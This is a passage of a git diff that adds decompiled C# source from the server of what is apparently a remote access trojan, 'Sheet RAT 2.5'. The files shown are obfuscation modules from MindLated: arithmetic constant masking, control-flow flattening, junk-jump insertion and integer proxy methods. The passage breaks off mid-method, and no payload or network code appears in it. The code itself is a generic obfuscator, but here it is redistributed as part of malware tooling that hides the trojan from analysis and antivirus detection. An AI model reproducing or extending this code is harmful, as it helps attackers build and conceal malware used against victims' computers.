@@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sqrt +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Sqrt : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sqrt; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Tan.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Tan.cs new file mode 100644 index 0000000..024b1b4 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Tan.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tan +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Tan : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tan; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Tanh.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Tanh.cs new file mode 100644 index 0000000..231dff1 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Tanh.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tanh +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Tanh : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tanh; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Maths/Truncate.cs b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Truncate.cs new file mode 100644 index 0000000..2997da9 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Maths/Truncate.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Maths.Truncate +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; +using System.Collections.Generic; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions.Maths { + +public class Truncate : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Truncate; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + List arithmetics = new List() + { + ArithmeticTypes.Add, + ArithmeticTypes.Sub + }; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Mul.cs b/Server/MindLated/Protection/Arithmetic/Functions/Mul.cs new file mode 100644 index 0000000..7ea22b8 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Mul.cs @@ -0,0 +1,26 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Mul +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions { + +public class Mul : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Mul; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Mul), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Sub.cs b/Server/MindLated/Protection/Arithmetic/Functions/Sub.cs new file mode 100644 index 0000000..743e716 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Sub.cs @@ -0,0 +1,26 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Sub +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions { + +public class Sub : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sub; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Sub), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Functions/Xor.cs b/Server/MindLated/Protection/Arithmetic/Functions/Xor.cs new file mode 100644 index 0000000..5944b35 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Functions/Xor.cs @@ -0,0 +1,27 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Functions.Xor +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Arithmetic.Utils; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Functions { + +public class Xor : Function +{ + public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Xor; + + public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module) + { + MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator(); + if (!ArithmeticUtils.CheckArithmetic(instruction)) + return (ArithmeticVt) null; + ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), (double) generator.Next(), this.ArithmeticTypes); + return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Xor), this.ArithmeticTypes); + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Generator/Generator.cs b/Server/MindLated/Protection/Arithmetic/Generator/Generator.cs new file mode 100644 index 0000000..044abcc --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Generator/Generator.cs @@ -0,0 +1,25 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Generator.Generator +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Generator { + +public class Generator +{ + private readonly Random _random; + + public Generator() => this._random = new Random(Guid.NewGuid().GetHashCode()); + + public int Next() => this._random.Next(int.MaxValue); + + public int Next(int value) => this._random.Next(value); + + public int Next(int min, int max) => this._random.Next(min, max); +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Token.cs b/Server/MindLated/Protection/Arithmetic/Token.cs new file mode 100644 index 0000000..166202f --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Token.cs @@ -0,0 +1,33 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Token +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet.Emit; + +//#nullable disable +namespace MindLated.Protection.Arithmetic { + +public class Token +{ + private readonly OpCode _opCode; + private readonly object _operand; + + public Token(OpCode opCode, object operand) + { + this._opCode = opCode; + this._operand = operand; + } + + public Token(OpCode opCode) + { + this._opCode = opCode; + this._operand = (object) null; + } + + public OpCode GetOpCode() => this._opCode; + + public object GetOperand() => this._operand; +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Utils/ArithmeticUtils.cs b/Server/MindLated/Protection/Arithmetic/Utils/ArithmeticUtils.cs new file mode 100644 index 0000000..5352040 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Utils/ArithmeticUtils.cs @@ -0,0 +1,100 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Utils.ArithmeticUtils +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet.Emit; +using System; +using System.Windows.Forms; +using System.Reflection; + +//#nullable disable +namespace MindLated.Protection.Arithmetic.Utils { + +public static class ArithmeticUtils +{ + public static bool CheckArithmetic(Instruction instruction) + { + return instruction.IsLdcI4() && instruction.GetLdcI4Value() != 1 && instruction.GetLdcI4Value() != 0; + } + + public static double GetY(double x) => x / 2.0; + + public static MethodInfo GetMethod(ArithmeticTypes mathType) + { + switch (mathType) + { + case ArithmeticTypes.Abs: + return typeof (Math).GetMethod("Abs", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Log: + return typeof (Math).GetMethod("Log", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Log10: + return typeof (Math).GetMethod("Log10", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Sin: + return typeof (Math).GetMethod("Sin", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Cos: + return typeof (Math).GetMethod("Cos", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Round: + return typeof (Math).GetMethod("Round", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Sqrt: + return typeof (Math).GetMethod("Sqrt", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Ceiling: + return typeof (Math).GetMethod("Ceiling", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Floor: + return typeof (Math).GetMethod("Floor", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Tan: + return typeof (Math).GetMethod("Tan", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Tanh: + return typeof (Math).GetMethod("Tanh", new Type[1] + { + typeof (double) + }); + case ArithmeticTypes.Truncate: + return typeof (Math).GetMethod("Truncate", new Type[1] + { + typeof (double) + }); + default: + return (MethodInfo) null; + } + } + + public static OpCode GetOpCode(ArithmeticTypes arithmetic) + { + if (arithmetic == ArithmeticTypes.Add) + return OpCodes.Add; + return arithmetic == ArithmeticTypes.Sub ? OpCodes.Sub : (OpCode) null; + } +} +} diff --git a/Server/MindLated/Protection/Arithmetic/Value.cs b/Server/MindLated/Protection/Arithmetic/Value.cs new file mode 100644 index 0000000..98b41f0 --- /dev/null +++ b/Server/MindLated/Protection/Arithmetic/Value.cs @@ -0,0 +1,25 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Arithmetic.Value +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace MindLated.Protection.Arithmetic { + +public class Value +{ + private readonly double _x; + private readonly double _y; + + public Value(double x, double y) + { + this._x = x; + this._y = y; + } + + public double GetX() => this._x; + + public double GetY() => this._y; +} +} diff --git a/Server/MindLated/Protection/CtrlFlow/Block.cs b/Server/MindLated/Protection/CtrlFlow/Block.cs new file mode 100644 index 0000000..4134583 --- /dev/null +++ b/Server/MindLated/Protection/CtrlFlow/Block.cs @@ -0,0 +1,25 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.CtrlFlow.Block +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet.Emit; +using System.Collections.Generic; + +//#nullable disable +namespace MindLated.Protection.CtrlFlow { + +public class Block +{ + public Block() => this.Instructions = new List(); + + public List Instructions { get; set; } + + public int Number { get; set; } + + public int SubRand { get; set; } + + public int PlusRand { get; set; } +} +} diff --git a/Server/MindLated/Protection/CtrlFlow/BlockParser.cs b/Server/MindLated/Protection/CtrlFlow/BlockParser.cs new file mode 100644 index 0000000..bc2ab22 --- /dev/null +++ b/Server/MindLated/Protection/CtrlFlow/BlockParser.cs @@ -0,0 +1,54 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.CtrlFlow.BlockParser +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System.Collections.Generic; + +//#nullable disable +namespace MindLated.Protection.CtrlFlow { + +public class BlockParser +{ + public static List ParseMethod(MethodDef method) + { + List method1 = new List(); + Block block1 = new Block(); + int num1 = 0; + int num2 = 0; + block1.Number = num1; + block1.Instructions.Add(Instruction.Create(OpCodes.Nop)); + method1.Add(block1); + Block block2 = new Block(); + Stack exceptionHandlerStack = new Stack(); + foreach (Instruction instruction in (IEnumerable) method.Body.Instructions) + { + foreach (ExceptionHandler exceptionHandler in (IEnumerable) method.Body.ExceptionHandlers) + { + if (exceptionHandler.HandlerStart == instruction || exceptionHandler.TryStart == instruction || exceptionHandler.FilterStart == instruction) + exceptionHandlerStack.Push(exceptionHandler); + } + foreach (ExceptionHandler exceptionHandler in (IEnumerable) method.Body.ExceptionHandlers) + { + if (exceptionHandler.HandlerEnd == instruction || exceptionHandler.TryEnd == instruction) + exceptionHandlerStack.Pop(); + } + int pushes; + int pops; + instruction.CalculateStackUsage(out pushes, out pops); + block2.Instructions.Add(instruction); + num2 += pushes - pops; + if (pushes == 0 && instruction.OpCode != OpCodes.Nop && (num2 == 0 || instruction.OpCode == OpCodes.Ret) && exceptionHandlerStack.Count == 0) + { + block2.Number = ++num1; + method1.Add(block2); + block2 = new Block(); + } + } + return method1; + } +} +} diff --git a/Server/MindLated/Protection/CtrlFlow/ControlFlowObfuscation.cs b/Server/MindLated/Protection/CtrlFlow/ControlFlowObfuscation.cs new file mode 100644 index 0000000..345277c --- /dev/null +++ b/Server/MindLated/Protection/CtrlFlow/ControlFlowObfuscation.cs @@ -0,0 +1,180 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.CtrlFlow.ControlFlowObfuscation +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Renamer; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.CtrlFlow { + +internal class ControlFlowObfuscation +{ + public static Random rnd = new Random(); + + public static void Execute(ModuleDefMD md) + { + foreach (TypeDef type in (IEnumerable) md.Types) + { + if (type != md.GlobalType) + { + foreach (MethodDef method in (IEnumerable) type.Methods) + { + if (!method.Name.StartsWith("get_") && !method.Name.StartsWith("set_") && method.HasBody && !method.IsConstructor) + { + method.Body.SimplifyBranches(); + ControlFlowObfuscation.ExecuteMethod(method); + } + } + } + } + } + + public static Instruction StLoc(Local local) + { + switch (local.Index) + { + case 0: + return Instruction.Create(OpCodes.Stloc_0); + case 1: + return Instruction.Create(OpCodes.Stloc_1); + case 2: + return Instruction.Create(OpCodes.Stloc_2); + case 3: + return Instruction.Create(OpCodes.Stloc_3); + default: + return Instruction.Create(OpCodes.Stloc, local); + } + } + + public static Instruction Ldloc(Local local) + { + switch (local.Index) + { + case 0: + return Instruction.Create(OpCodes.Ldloc_0); + case 1: + return Instruction.Create(OpCodes.Ldloc_1); + case 2: + return Instruction.Create(OpCodes.Ldloc_2); + case 3: + return Instruction.Create(OpCodes.Ldloc_3); + default: + return Instruction.Create(OpCodes.Ldloc, local); + } + } + + public static TypeSig RandomSig(MethodDef method) + { + switch (ControlFlowObfuscation.rnd.Next(0, 3)) + { + case 0: + return (TypeSig) method.Module.CorLibTypes.Int32; + case 1: + return (TypeSig) method.Module.CorLibTypes.Int64; + case 2: + return (TypeSig) method.Module.CorLibTypes.Double; + default: + return (TypeSig) method.Module.CorLibTypes.Int32; + } + } + + public static void ExecuteMethod(MethodDef method) + { + method.Body.SimplifyMacros((IList) method.Parameters); + List blocks = BlockParser.ParseMethod(method); + int num1 = ControlFlowObfuscation.rnd.Next(1, 10); + int num2 = 0; + foreach (Block block in blocks) + { + block.SubRand = num1; + num1 = ControlFlowObfuscation.rnd.Next(num1 + 1, num1 + 10); + block.PlusRand = num1; + if (blocks.Count - 2 == block.Number) + num2 = num1; + } + blocks = ControlFlowObfuscation.Randomize(blocks); + method.Body.Instructions.Clear(); + Local local = new Local(ControlFlowObfuscation.RandomSig(method)); + method.Body.Variables.Add(local); + local.Name = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii); + Instruction target1 = Instruction.Create(OpCodes.Nop); + Instruction target2 = Instruction.Create(OpCodes.Br, target1); + int num3 = ControlFlowObfuscation.rnd.Next(0, 10000); + foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type)) + method.Body.Instructions.Add(instruction); + method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local)); + method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, target2)); + method.Body.Instructions.Add(target1); + foreach (Block block in blocks.Where((Func) (block => block != blocks.Single((Func) (x => x.Number == blocks.Count - 1))))) + { + method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local)); + if (block.Number == 0) + { + foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type)) + method.Body.Instructions.Add(instruction); + } + else + { + foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.SubRand + num3, local.Type)) + method.Body.Instructions.Add(instruction); + } + method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq)); + Instruction target3 = Instruction.Create(OpCodes.Nop); + method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target3)); + foreach (Instruction instruction in block.Instructions) + method.Body.Instructions.Add(instruction); + foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.PlusRand + num3, local.Type)) + method.Body.Instructions.Add(instruction); + method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local)); + method.Body.Instructions.Add(target3); + } + method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local)); + foreach (Instruction instruction in ControlFlowObfuscation.Calc(num2 + num3, local.Type)) + method.Body.Instructions.Add(instruction); + method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq)); + method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target2)); + method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, blocks.Single((Func) (x => x.Number == blocks.Count - 1)).Instructions[0])); + method.Body.Instructions.Add(target2); + foreach (Instruction instruction in blocks.Single((Func) (x => x.Number == blocks.Count - 1)).Instructions) + method.Body.Instructions.Add(instruction); + method.Body.InitLocals = true; + } + + public static List Randomize(List input) + { + List blockList = new List(); + foreach (Block block in input) + blockList.Insert(ControlFlowObfuscation.rnd.Next(0, blockList.Count), block); + return blockList; + } + + public static List Calc(int value, TypeSig sig) + { + List instructionList; + if (sig == sig.Module.CorLibTypes.Double) + instructionList = new List() + { + Instruction.Create(OpCodes.Ldc_R8, (double) value) + }; + else + instructionList = new List() + { + Instruction.Create(OpCodes.Ldc_I4, value) + }; + return instructionList; + } + + public void AddJump(IList instrs, Instruction target) + { + instrs.Add(Instruction.Create(OpCodes.Br, target)); + } +} +} diff --git a/Server/MindLated/Protection/CtrlFlow/JumpCFlow.cs b/Server/MindLated/Protection/CtrlFlow/JumpCFlow.cs new file mode 100644 index 0000000..f432a29 --- /dev/null +++ b/Server/MindLated/Protection/CtrlFlow/JumpCFlow.cs @@ -0,0 +1,37 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.CtrlFlow.JumpCFlow +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Renamer; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.CtrlFlow { + +public static class JumpCFlow +{ + public static void Execute(ModuleDefMD module) + { + foreach (TypeDef type in (IEnumerable) module.Types) + { + foreach (MethodDef methodDef in type.Methods.ToArray()) + { + if (methodDef.HasBody && methodDef.Body.HasInstructions && !methodDef.Body.HasExceptionHandlers) + { + for (int index = 0; index < methodDef.Body.Instructions.Count - 2; index = index + 2 + 1) + { + Instruction instruction = methodDef.Body.Instructions[index + 1]; + methodDef.Body.Instructions.Insert(index + 1, Instruction.Create(OpCodes.Ldstr, RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii))); + methodDef.Body.Instructions.Insert(index + 1, Instruction.Create(OpCodes.Br_S, instruction)); + } + } + } + } + } +} +} diff --git a/Server/MindLated/Protection/Proxy/EnumerableExtensions.cs b/Server/MindLated/Protection/Proxy/EnumerableExtensions.cs new file mode 100644 index 0000000..3dca6d2 --- /dev/null +++ b/Server/MindLated/Protection/Proxy/EnumerableExtensions.cs @@ -0,0 +1,16 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Proxy.EnumerableExtensions +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System.Collections.Generic; + +//#nullable disable +namespace MindLated.Protection.Proxy { + +public static class EnumerableExtensions +{ + public static T Random(this IEnumerable input) => EnumerableHelper.Random(input); +} +} diff --git a/Server/MindLated/Protection/Proxy/EnumerableHelper.cs b/Server/MindLated/Protection/Proxy/EnumerableHelper.cs new file mode 100644 index 0000000..be648de --- /dev/null +++ b/Server/MindLated/Protection/Proxy/EnumerableHelper.cs @@ -0,0 +1,25 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Proxy.EnumerableHelper +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace MindLated.Protection.Proxy { + +public static class EnumerableHelper +{ + private static readonly System.Random R = new System.Random(); + + public static TE Random(IEnumerable input) + { + if (!(input is TE[] eArray)) + eArray = input.ToArray(); + TE[] source = eArray; + return ((IEnumerable) source).ElementAt(EnumerableHelper.R.Next(source.Length)); + } +} +} diff --git a/Server/MindLated/Protection/Proxy/ProxyInt.cs b/Server/MindLated/Protection/Proxy/ProxyInt.cs new file mode 100644 index 0000000..46a6a82 --- /dev/null +++ b/Server/MindLated/Protection/Proxy/ProxyInt.cs @@ -0,0 +1,63 @@ +// Decompiled with JetBrains decompiler +// Type: MindLated.Protection.Proxy.ProxyInt +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using MindLated.Protection.Renamer; +using System.Collections.Generic; + +//#nullable disable +namespace MindLated.Protection.Proxy { + +public static class ProxyInt +{ + public static void Execute(ModuleDef module) + { + foreach (TypeDef type in module.GetTypes()) + { + if (!type.IsGlobalModuleType) + { + foreach (MethodDef method in (IEnumerable) type.Methods) + { + if (method.HasBody) + { + IList instructions = method.Body.Instructions; + for (int index = 0; index < instructions.Count; ++index) + { + if (method.Body.Instructions[index].IsLdcI4()) + { + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig; + MethodDefUser methodDefUser = new MethodDefUser((UTF8String) RenamerPhase.GenerateString(RenamerPhase.RenameMode.Key), MethodSig.CreateStatic((TypeSig) module.CorLibTypes.Int32), implFlags, flags); + module.GlobalType.Methods.Add((MethodDef) methodDefUser); + methodDefUser.Body = new CilBody(); + methodDefUser.Body.Variables.Add(new Local((TypeSig) module.CorLibTypes.Int32)); + methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ldc_I4, instructions[index].GetLdcI4Value())); + methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); + instructions[index].OpCode = OpCodes.Call; + instructions[index].Operand = (object) methodDefUser; + } + else if (method.Body.Instructions[index].OpCode == OpCodes.Ldc_R4) + { + MethodImplAttributes implFlags = MethodImplAttributes.IL; + MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig; + 